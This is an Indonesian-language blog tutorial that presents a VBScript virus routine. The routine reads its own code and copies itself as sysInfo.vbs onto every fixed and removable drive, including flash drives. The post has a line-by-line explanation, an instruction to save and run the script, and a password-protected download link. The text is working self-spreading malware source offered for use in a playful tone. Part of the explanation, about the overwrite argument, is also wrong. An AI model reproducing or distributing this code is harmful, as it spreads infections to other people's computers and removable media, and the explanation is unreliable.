MENGKOPI DIRI KE SEMUA DRIVE YANG ADA

Kira – kira kalau virus sudah menjalar ke berbagai folder system masih ada yang perlu untuk ditulari tidak? Jawabnya pasti maasiiiiiiih…! Yap…! Betul masih ada yang perlu ditulari yaitu semua drive yang ada.Virus juga harus memberi kenang-kenangan yang manis  ke dalam Flashdisk, jadi semuanya kena kebagian. Nyo-Nyo –Nyo coba cek kode script berikut ini:

on error resume next

set dendrif=CreateObject("Scripting.FileSystemObject")

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName)

c1vs=vs.ReadAll

vs.close

set c2vs=dendrif.GetFile(Wscript.ScriptFullName)

for each deo in dendrif.drives

if (deo.drivetype=1 or deo.drivetype=2 ) and deo.path <>"A:" then

set c3vs=dendrif.createTextFile(deo.path & "\sysInfo.vbs",2,true)

c3vs.write c1vs

c3vs.close

end if

next

msgbox"virus telah berhasil di kopi ke all drive",vbinformation,"Tes virus..."

simpan script dengan nama kopialldrive.vbs, dan jalankan.........

penjelasan script

on error resume next = bila terjadi kesalahan lanjutkan ke perintah selanjutnya

set dendrif=CreateObject("Scripting.FileSystemObject") ==> menset dendrif sebagai  penghendelan file objek untuk pembuatan file atau hal lainnya yang dibutuhkan vbs ,saya juga kurang paham arti khususnya

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName) ==> menset vs untuk penghendelan membuka virusnya sendiri (Wscript.ScriptFullName)

c1vs=vs.ReadAll  == >variable c1vs digunakan untuk pembacaan virus secara keseluruhan

vs.close  ==> pembacaan virus selesai dan di tutup

set c2vs=dendrif.GetFile(Wscript.ScriptFullName) = pengambilan informasi virus

for each deo in dendrif.drives = pengambilan seluruh informasi drive

if (deo.drivetype=1 or deo.drivetype=2 ) and deo.path <>"A:" then = jika tipe drive satu atau 2 dan alamat drive bukan A:\,( Karena A: drive untuk disket yang sekarang gak dipake lagi) maka

set c3vs=dendrif.createTextFile(deo.path & "\sysInfo.vbs",2,true) = mengkopi virus dengan nama sysInfo.vbs ke semua drive yang ada termasuk flashdisk yang terpasang.True=kalau sudah ada file virus maka file virus tersebut tidak ditimpa dengan yang baru.

c3vs.write c1vs = hasil kopian di tulis kode virus yang tertampung di variabel c1vs

c3vs.close = pengkopian selesai dan ditutup

end if = akhir dari if / jika

next =seterusnya/mengkopi terus ke setiap drive/lanjutkan

msgbox"virus telah berhasil di kopi ke all drive",vbinformation,"Tes virus..."

coba cek ke semua drive, kalo tidak salah maka akan tercipta file sysInfo.vbs......

download script
password = www.dendrif-deo.co.cc[copyalldrive]
semoga bermanfaat....   :D